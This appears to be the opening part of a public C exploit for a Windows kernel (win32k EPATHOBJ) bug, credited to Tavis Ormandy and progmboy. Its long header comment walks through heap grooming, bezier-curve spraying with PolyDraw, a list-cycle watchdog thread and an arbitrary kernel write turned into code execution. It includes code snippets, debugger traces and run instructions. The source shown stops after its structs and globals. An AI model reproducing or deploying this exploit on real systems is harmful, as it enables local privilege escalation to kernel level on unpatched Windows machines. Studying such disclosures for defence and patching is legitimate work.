519 lines
22 KiB
C
519 lines
22 KiB
C
|
//
|
||
|
// --------------------------------------------------
|
||
|
// Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit
|
||
|
// ----------------------------------------- taviso@cmpxchg8b.com -----
|
||
|
//
|
||
|
// INTRODUCTION
|
||
|
//
|
||
|
// There's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the
|
||
|
// PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the
|
||
|
// next list pointer. The bug is really nice, but exploitation when
|
||
|
// allocations start failing is tricky.
|
||
|
//
|
||
|
// ; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ *this,
|
||
|
// PATHRECORD **pppr,
|
||
|
// ULONG *pcMax,
|
||
|
// ULONG cNeeded)
|
||
|
// .text:BFA122CA mov esi, [ebp+ppr]
|
||
|
// .text:BFA122CD mov eax, [esi+PATHRECORD.pprPrev]
|
||
|
// .text:BFA122D0 push edi
|
||
|
// .text:BFA122D1 mov edi, [ebp+pprNew]
|
||
|
// .text:BFA122D4 mov [edi+PATHRECORD.pprPrev], eax
|
||
|
// .text:BFA122D7 lea eax, [edi+PATHRECORD.count]
|
||
|
// .text:BFA122DA xor edx, edx
|
||
|
// .text:BFA122DC mov [eax], edx
|
||
|
// .text:BFA122DE mov ecx, [esi+PATHRECORD.flags]
|
||
|
// .text:BFA122E1 and ecx, not (PD_BEZIER)
|
||
|
// .text:BFA122E4 mov [edi+PATHRECORD.flags], ecx
|
||
|
// .text:BFA122E7 mov [ebp+pprNewCountPtr], eax
|
||
|
// .text:BFA122EA cmp [edi+PATHRECORD.pprPrev], edx
|
||
|
// .text:BFA122ED jnz short loc_BFA122F7
|
||
|
// .text:BFA122EF mov ecx, [ebx+EPATHOBJ.ppath]
|
||
|
// .text:BFA122F2 mov [ecx+PATHOBJ.pprfirst], edi
|
||
|
//
|
||
|
// It turns out this mostly works because newpathrec() is backed by newpathalloc()
|
||
|
// which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned.
|
||
|
//
|
||
|
// ; PVOID __stdcall PALLOCMEM(size_t size, int tag)
|
||
|
// .text:BF9160D7 xor esi, esi
|
||
|
// .text:BF9160DE push esi
|
||
|
// .text:BF9160DF push esi
|
||
|
// .text:BF9160E0 push [ebp+tag]
|
||
|
// .text:BF9160E3 push [ebp+size]
|
||
|
// .text:BF9160E6 call _HeavyAllocPool@16 ; HeavyAllocPool(x,x,x,x)
|
||
|
// .text:BF9160EB mov esi, eax
|
||
|
// .text:BF9160ED test esi, esi
|
||
|
// .text:BF9160EF jz short loc_BF9160FF
|
||
|
// .text:BF9160F1 push [ebp+size] ; size_t
|
||
|
// .text:BF9160F4 push 0 ; int
|
||
|
// .text:BF9160F6 push esi ; void *
|
||
|
// .text:BF9160F7 call _memset
|
||
|
//
|
||
|
// However, the PATHALLOC allocator includes it's own freelist implementation, and
|
||
|
// if that codepath can satisfy a request the memory isn't zeroed and returned
|
||
|
// directly to the caller. This effectively means that we can add our own objects
|
||
|
// to the PATHRECORD chain.
|
||
|
//
|
||
|
// We can force this behaviour under memory pressure relatively easily, I just
|
||
|
// spam HRGN objects until they start failing. This isn't super reliable, but it's
|
||
|
// good enough for testing.
|
||
|
//
|
||
|
// // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
|
||
|
// // failure. Seriously, do some damn QA Microsoft, wtf.
|
||
|
// for (Size = 1 << 26; Size; Size >>= 1) {
|
||
|
// while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
|
||
|
// ;
|
||
|
// }
|
||
|
//
|
||
|
// Adding user controlled blocks to the freelist is a little trickier, but I've
|
||
|
// found that flattening large lists of bezier curves added with PolyDraw() can
|
||
|
// accomplish this reliably. The code to do this is something along the lines of:
|
||
|
//
|
||
|
// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
|
||
|
// Points[PointNum].x = 0x41414141 >> 4;
|
||
|
// Points[PointNum].y = 0x41414141 >> 4;
|
||
|
// PointTypes[PointNum] = PT_BEZIERTO;
|
||
|
// }
|
||
|
//
|
||
|
// for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
|
||
|
// BeginPath(Device);
|
||
|
// PolyDraw(Device, Points, PointTypes, PointNum);
|
||
|
// EndPath(Device);
|
||
|
// FlattenPath(Device);
|
||
|
// FlattenPath(Device);
|
||
|
// EndPath(Device);
|
||
|
// }
|
||
|
//
|
||
|
// We can verify this is working by putting a breakpoint after newpathrec, and
|
||
|
// verifying the buffer is filled with recognisable values when it returns:
|
||
|
//
|
||
|
// kd> u win32k!EPATHOBJ::pprFlattenRec+1E
|
||
|
// win32k!EPATHOBJ::pprFlattenRec+0x1e:
|
||
|
// 95c922b8 e8acfbffff call win32k!EPATHOBJ::newpathrec (95c91e69)
|
||
|
// 95c922bd 83f801 cmp eax,1
|
||
|
// 95c922c0 7407 je win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9)
|
||
|
// 95c922c2 33c0 xor eax,eax
|
||
|
// 95c922c4 e944020000 jmp win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d)
|
||
|
// 95c922c9 56 push esi
|
||
|
// 95c922ca 8b7508 mov esi,dword ptr [ebp+8]
|
||
|
// 95c922cd 8b4604 mov eax,dword ptr [esi+4]
|
||
|
// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc"
|
||
|
// kd> g
|
||
|
// fe938fac 41414140
|
||
|
// fe938fac 41414140
|
||
|
// fe938fac 41414140
|
||
|
// fe938fac 41414140
|
||
|
// fe938fac 41414140
|
||
|
//
|
||
|
// The breakpoint dumps the first dword of the returned buffer, which matches the
|
||
|
// bezier points set with PolyDraw(). So convincing pprFlattenRec() to move
|
||
|
// EPATHOBJ->records->head->next->next into userspace is no problem, and we can
|
||
|
// easily break the list traversal in bFlattten():
|
||
|
//
|
||
|
// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
|
||
|
// {
|
||
|
// EPATHOBJ *pathobj; // esi@1
|
||
|
// PATHOBJ *ppath; // eax@1
|
||
|
// BOOL result; // eax@2
|
||
|
// PATHRECORD *ppr; // eax@3
|
||
|
//
|
||
|
// pathobj = this;
|
||
|
// ppath = this->ppath;
|
||
|
// if ( ppath )
|
||
|
// {
|
||
|
// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
|
||
|
// {
|
||
|
// if ( ppr->flags & PD_BEZIER )
|
||
|
// {
|
||
|
// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
|
||
|
// if ( !ppr )
|
||
|
// goto LABEL_2;
|
||
|
// }
|
||
|
// }
|
||
|
// pathobj->fl &= 0xFFFFFFFE;
|
||
|
// result = 1;
|
||
|
// }
|
||
|
// else
|
||
|
// {
|
||
|
// LABEL_2:
|
||
|
// result = 0;
|
||
|
// }
|
||
|
// return result;
|
||
|
// }
|
||
|
//
|
||
|
// All we have to do is allocate our own PATHRECORD structure, and then spam
|
||
|
// PolyDraw() with POINTFIX structures containing co-ordinates that are actually
|
||
|
// pointers shifted right by 4 (for this reason the structure must be aligned so
|
||
|
// the bits shifted out are all zero).
|
||
|
//
|
||
|
// We can see this in action by putting a breakpoint in bFlatten when ppr has
|
||
|
// moved into userspace:
|
||
|
//
|
||
|
// kd> u win32k!EPATHOBJ::bFlatten
|
||
|
// win32k!EPATHOBJ::bFlatten:
|
||
|
// 95c92517 8bff mov edi,edi
|
||
|
// 95c92519 56 push esi
|
||
|
// 95c9251a 8bf1 mov esi,ecx
|
||
|
// 95c9251c 8b4608 mov eax,dword ptr [esi+8]
|
||
|
// 95c9251f 85c0 test eax,eax
|
||
|
// 95c92521 7504 jne win32k!EPATHOBJ::bFlatten+0x10 (95c92527)
|
||
|
// 95c92523 33c0 xor eax,eax
|
||
|
// 95c92525 5e pop esi
|
||
|
// kd> u
|
||
|
// win32k!EPATHOBJ::bFlatten+0xf:
|
||
|
// 95c92526 c3 ret
|
||
|
// 95c92527 8b4014 mov eax,dword ptr [eax+14h]
|
||
|
// 95c9252a eb14 jmp win32k!EPATHOBJ::bFlatten+0x29 (95c92540)
|
||
|
// 95c9252c f6400810 test byte ptr [eax+8],10h
|
||
|
// 95c92530 740c je win32k!EPATHOBJ::bFlatten+0x27 (95c9253e)
|
||
|
// 95c92532 50 push eax
|
||
|
// 95c92533 8bce mov ecx,esi
|
||
|
// 95c92535 e860fdffff call win32k!EPATHOBJ::pprFlattenRec (95c9229a)
|
||
|
//
|
||
|
// So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS
|
||
|
// flags (defined in winddi.h). Let's break if it's in userspace:
|
||
|
//
|
||
|
// kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''"
|
||
|
// kd> g
|
||
|
// 95c9252c f6400810 test byte ptr [eax+8],10h
|
||
|
// kd> r
|
||
|
// eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d
|
||
|
// eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0 nv up ei pl nz na po nc
|
||
|
// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202
|
||
|
// win32k!EPATHOBJ::bFlatten+0x15:
|
||
|
// 95c9252c f6400810 test byte ptr [eax+8],10h ds:0023:41414148=??
|
||
|
//
|
||
|
// The question is how to turn that into code execution? It's obviously trivial to
|
||
|
// call prFlattenRec with our userspace PATHRECORD..we can do that by setting
|
||
|
// PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure
|
||
|
// poses a problem.
|
||
|
//
|
||
|
// Let me demonstrate calling it with my own PATHRECORD:
|
||
|
//
|
||
|
// // Create our PATHRECORD in userspace we will get added to the EPATHOBJ
|
||
|
// // pathrecord chain.
|
||
|
// PathRecord = VirtualAlloc(NULL,
|
||
|
// sizeof(PATHRECORD),
|
||
|
// MEM_COMMIT | MEM_RESERVE,
|
||
|
// PAGE_EXECUTE_READWRITE);
|
||
|
//
|
||
|
// // Initialise with recognisable debugging values.
|
||
|
// FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
|
||
|
//
|
||
|
// PathRecord->next = (PVOID)(0x41414141);
|
||
|
// PathRecord->prev = (PVOID)(0x42424242);
|
||
|
//
|
||
|
// // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
|
||
|
// // EPATHOBJ::bFlatten(), do that here.
|
||
|
// PathRecord->flags = PD_BEZIERS;
|
||
|
//
|
||
|
// // Generate a large number of Bezier Curves made up of pointers to our
|
||
|
// // PATHRECORD object.
|
||
|
// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
|
||
|
// Points[PointNum].x = (ULONG)(PathRecord) >> 4;
|
||
|
// Points[PointNum].y = (ULONG)(PathRecord) >> 4;
|
||
|
// PointTypes[PointNum] = PT_BEZIERTO;
|
||
|
// }
|
||
|
//
|
||
|
// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) ''; 'gc'"
|
||
|
// kd> g
|
||
|
// win32k!EPATHOBJ::pprFlattenRec+0x28:
|
||
|
// 95c922c2 33c0 xor eax,eax
|
||
|
// kd> dd ebp+8 L1
|
||
|
// a3633be0 00130000
|
||
|
//
|
||
|
// The ppr object is in userspace! If we peek at it:
|
||
|
//
|
||
|
// kd> dd poi(ebp+8)
|
||
|
// 00130000 41414141 42424242 00000010 cccccccc
|
||
|
// 00130010 00000000 00000000 00000000 00000000
|
||
|
// 00130020 00000000 00000000 00000000 00000000
|
||
|
// 00130030 00000000 00000000 00000000 00000000
|
||
|
// 00130040 00000000 00000000 00000000 00000000
|
||
|
// 00130050 00000000 00000000 00000000 00000000
|
||
|
// 00130060 00000000 00000000 00000000 00000000
|
||
|
// 00130070 00000000 00000000 00000000 00000000
|
||
|
//
|
||
|
// There's the next and prev pointer.
|
||
|
//
|
||
|
// kd> kvn
|
||
|
// # ChildEBP RetAddr Args to Child
|
||
|
// 00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo])
|
||
|
// 01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4])
|
||
|
// 02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo])
|
||
|
// 03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34)
|
||
|
//
|
||
|
// The question is how to get PATHALLOC() to succeed under memory pressure so we
|
||
|
// can make this exploitable? I'm quite proud of this list cycle trick,
|
||
|
// here's how to turn it into an arbitrary write.
|
||
|
//
|
||
|
// First, we create a watchdog thread that will patch the list atomically
|
||
|
// when we're ready. This is needed because we can't exploit the bug while
|
||
|
// HeavyAllocPool is failing, because of the early exit in pprFlattenRec:
|
||
|
//
|
||
|
// .text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)
|
||
|
// .text:BFA122BD cmp eax, 1 ; Check for failure
|
||
|
// .text:BFA122C0 jz short continue
|
||
|
// .text:BFA122C2 xor eax, eax ; Exit early
|
||
|
// .text:BFA122C4 jmp early_exit
|
||
|
//
|
||
|
// So we create a list node like this:
|
||
|
//
|
||
|
// PathRecord->Next = PathRecord;
|
||
|
// PathRecord->Flags = 0;
|
||
|
//
|
||
|
// Then EPATHOBJ::bFlatten() spins forever doing nothing:
|
||
|
//
|
||
|
// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
|
||
|
// {
|
||
|
// /* ... */
|
||
|
//
|
||
|
// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
|
||
|
// {
|
||
|
// if ( ppr->flags & PD_BEZIER )
|
||
|
// {
|
||
|
// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
|
||
|
// }
|
||
|
// }
|
||
|
//
|
||
|
// /* ... */
|
||
|
// }
|
||
|
//
|
||
|
// While it's spinning, we clean up in another thread, then patch the thread (we
|
||
|
// can do this, because it's now in userspace) to trigger the exploit. The first
|
||
|
// block of pprFlattenRec does something like this:
|
||
|
//
|
||
|
// if ( pprNew->pprPrev )
|
||
|
// pprNew->pprPrev->pprnext = pprNew;
|
||
|
//
|
||
|
// Let's make that write to 0xCCCCCCCC.
|
||
|
//
|
||
|
// DWORD WINAPI WatchdogThread(LPVOID Parameter)
|
||
|
// {
|
||
|
//
|
||
|
// // This routine waits for a mutex object to timeout, then patches the
|
||
|
// // compromised linked list to point to an exploit. We need to do this.
|
||
|
// LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex@%p",
|
||
|
// GetCurrentThreadId(),
|
||
|
// Mutex);
|
||
|
//
|
||
|
// if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
|
||
|
// // It looks like the main thread is stuck in a call to FlattenPath(),
|
||
|
// // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
|
||
|
// // up, and then patch the list to trigger our exploit.
|
||
|
// while (NumRegion--)
|
||
|
// DeleteObject(Regions[NumRegion]);
|
||
|
//
|
||
|
// LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);
|
||
|
//
|
||
|
// InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);
|
||
|
//
|
||
|
// } else {
|
||
|
// LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
|
||
|
// }
|
||
|
//
|
||
|
// return 0;
|
||
|
// }
|
||
|
//
|
||
|
// PathRecord->next = PathRecord;
|
||
|
// PathRecord->prev = (PVOID)(0x42424242);
|
||
|
// PathRecord->flags = 0;
|
||
|
//
|
||
|
// ExploitRecord.next = NULL;
|
||
|
// ExploitRecord.prev = 0xCCCCCCCC;
|
||
|
// ExploitRecord.flags = PD_BEZIERS;
|
||
|
//
|
||
|
// Here's the output on Windows 8:
|
||
|
//
|
||
|
// kd> g
|
||
|
// *******************************************************************************
|
||
|
// * *
|
||
|
// * Bugcheck Analysis *
|
||
|
// * *
|
||
|
// *******************************************************************************
|
||
|
//
|
||
|
// Use !analyze -v to get detailed debugging information.
|
||
|
//
|
||
|
// BugCheck 50, {cccccccc, 1, 8f18972e, 2}
|
||
|
// *** WARNING: Unable to verify checksum for ComplexPath.exe
|
||
|
// *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe
|
||
|
// Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )
|
||
|
//
|
||
|
// Followup: MachineOwner
|
||
|
// ---------
|
||
|
//
|
||
|
// nt!RtlpBreakWithStatusInstruction:
|
||
|
// 810f46f4 cc int 3
|
||
|
// kd> kv
|
||
|
// ChildEBP RetAddr Args to Child
|
||
|
// a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
|
||
|
// a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])
|
||
|
// a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])
|
||
|
// a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6
|
||
|
// a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19
|
||
|
// a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868
|
||
|
// a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])
|
||
|
// a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)
|
||
|
// a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])
|
||
|
// a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])
|
||
|
// a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])
|
||
|
// a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)
|
||
|
// 0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
|
||
|
// 0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])
|
||
|
// WARNING: Stack unwind information not available. Following frames may be wrong.
|
||
|
// 0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f
|
||
|
// 0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade
|
||
|
// 0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
|
||
|
// 0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])
|
||
|
// 0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])
|
||
|
// kd> .trap a03aba2c
|
||
|
// ErrCode = 00000002
|
||
|
// eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8
|
||
|
// eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0 nv up ei ng nz na pe nc
|
||
|
// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286
|
||
|
// win32k!EPATHOBJ::pprFlattenRec+0x82:
|
||
|
// 8f18972e 8918 mov dword ptr [eax],ebx ds:0023:cccccccc=????????
|
||
|
// kd> vertarget
|
||
|
// Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible
|
||
|
// Product: WinNt, suite: TerminalServer SingleUserTS
|
||
|
// Built by: 9200.16581.x86fre.win8_gdr.130410-1505
|
||
|
// Machine Name:
|
||
|
// Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48
|
||
|
// Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)
|
||
|
// System Uptime: 0 days 0:02:30.432
|
||
|
// kd> .bugcheck
|
||
|
// Bugcheck code 00000050
|
||
|
// Arguments cccccccc 00000001 8f18972e 00000002
|
||
|
//
|
||
|
// EXPLOITATION
|
||
|
//
|
||
|
// We're somewhat limited with what we can do, as we don't control what's
|
||
|
// written, it's always a pointer to a PATHRECORD object. We can clobber a
|
||
|
// function pointer, but the problem is making it point somewhere useful.
|
||
|
//
|
||
|
// The solution is to make the Next pointer a valid sequence of instructions,
|
||
|
// which jumps to our second stage payload. We have to do that in just 4 bytes
|
||
|
// (unless you can find a better call site, let me know if you spot one).
|
||
|
//
|
||
|
// Thanks to progmboy for coming up with the solution: you reach back up the
|
||
|
// stack and pull a SystemCall parameter out of the stack. It turns out
|
||
|
// NtQueryIntervalProfile matches this requirement perfectly.
|
||
|
//
|
||
|
// INSTRUCTIONS
|
||
|
//
|
||
|
// C:\> cl ComplexPath.c
|
||
|
// C:\> ComplexPath
|
||
|
//
|
||
|
// You might need to run it several times before we get the allocation we need,
|
||
|
// it won't crash if it doesn't work, so you can keep trying. I'm not sure how
|
||
|
// to improve that.
|
||
|
//
|
||
|
// CREDIT
|
||
|
//
|
||
|
// Tavis Ormandy <taviso@cmpxchg8b.com>
|
||
|
// progmboy <programmeboy@gmail.com>
|
||
|
//
|
||
|
|
||
|
#ifndef WIN32_NO_STATUS
|
||
|
# define WIN32_NO_STATUS
|
||
|
#endif
|
||
|
#include <stdio.h>
|
||
|
#ifdef WIN32_NO_STATUS
|
||
|
# undef WIN32_NO_STATUS
|
||
|
#endif
|
||
|
|
||
|
#pragma comment(linker, "/SECTION:.text,ERW")
|
||
|
|
||
|
#ifndef PAGE_SIZE
|
||
|
# define PAGE_SIZE 0x1000
|
||
|
#endif
|
||
|
|
||
|
#define MAX_POLYPOINTS (8192 * 3)
|
||
|
#define MAX_REGIONS 8192
|
||
|
#define CYCLE_TIMEOUT 10000
|
||
|
|
||
|
static POINT Points[MAX_POLYPOINTS];
|
||
|
static BYTE PointTypes[MAX_POLYPOINTS];
|
||
|
static HRGN Regions[MAX_REGIONS];
|
||
|
static ULONG ComplexPathNumRegion = 0;
|
||
|
static HANDLE Mutex;
|
||
|
static DWORD ComplexPathFinished = 0;
|
||
|
|
||
|
// Copied from winddi.h from the DDK
|
||
|
#define PD_BEGINSUBPATH 0x00000001
|
||
|
#define PD_ENDSUBPATH 0x00000002
|
||
|
#define PD_RESETSTYLE 0x00000004
|
||
|
#define PD_CLOSEFIGURE 0x00000008
|
||
|
#define PD_BEZIERS 0x00000010
|
||
|
|
||
|
typedef struct _POINTFIX
|
||
|
{
|
||
|
ULONG x;
|
||
|
ULONG y;
|
||
|
} POINTFIX, *PPOINTFIX;
|
||
|
|
||
|
// Approximated from reverse engineering.
|
||
|
typedef struct _PATHRECORD {
|
||
|
struct _PATHRECORD *next;
|
||
|
struct _PATHRECORD *prev;
|
||
|
ULONG flags;
|
||
|
ULONG count;
|
||
|
POINTFIX points[4];
|
||
|
} PATHRECORD, *PPATHRECORD;
|
||
|
|
||
|
PPATHRECORD PathRecord;
|
||
|
PATHRECORD ExploitRecord;
|
||
|
PPATHRECORD ExploitRecordExit;
|
||
|
|
||
|
enum { SystemModuleInformation = 11 };
|
||
|
enum { ProfileTotalIssues = 2 };
|
||
|
|
||
|
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
|
||
|
HANDLE Section;
|
||
|
PVOID MappedBase;
|
||
|
PVOID ImageBase;
|
||
|
ULONG ImageSize;
|
||
|
ULONG Flags;
|
||
|
USHORT LoadOrderIndex;
|
||
|
USHORT InitOrderIndex;
|
||
|
USHORT LoadCount;
|
||
|
USHORT OffsetToFileName;
|
||
|
UCHAR FullPathName[256];
|
||
|
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
|
||
|
|
||
|
typedef struct _RTL_PROCESS_MODULES {
|
||
|
ULONG NumberOfModules;
|
||
|
RTL_PROCESS_MODULE_INFORMATION Modules[1];
|
||
|
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
|
||
|
|
||
|
FARPROC NtQuerySystemInformation;
|
||
|
FARPROC NtQueryIntervalProfile;
|
||
|
FARPROC PsReferencePrimaryToken;
|
||
|
FARPROC PsLookupProcessByProcessId;
|
||
|
PULONG HalDispatchTable;
|
||
|
ULONG HalQuerySystemInformation;
|
||
|
PULONG TargetPid;
|
||
|
PVOID *PsInitialSystemProcess;
|
||
|
|
||
|
//#define DEBUGTRACE 1
|
||
|
|
||
|
// Log levels.
|
||
|
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
|
||
|
|
||
|
#ifdef DEBUGTRACE
|
||
|
VOID LogMessage(LEVEL Level, PCHAR Format, ...);
|
||
|
|
||
|
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
||
|
static void real_dprintf(char *format, ...) {
|
||
|
va_list args;
|
||
|
char buffer[1024];
|
||
|
va_start(args,format);
|
||
|
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args);
|
||
|
strcat_s(buffer, sizeof(buffer), "\r\n");
|
||
|
OutputDebugStringA(buffer);
|
||
|
}
|
||
|
#else
|
||
|
#define dprintf(...)
|
||
|
#define LogMessage(...)
|
||
|
#endif
|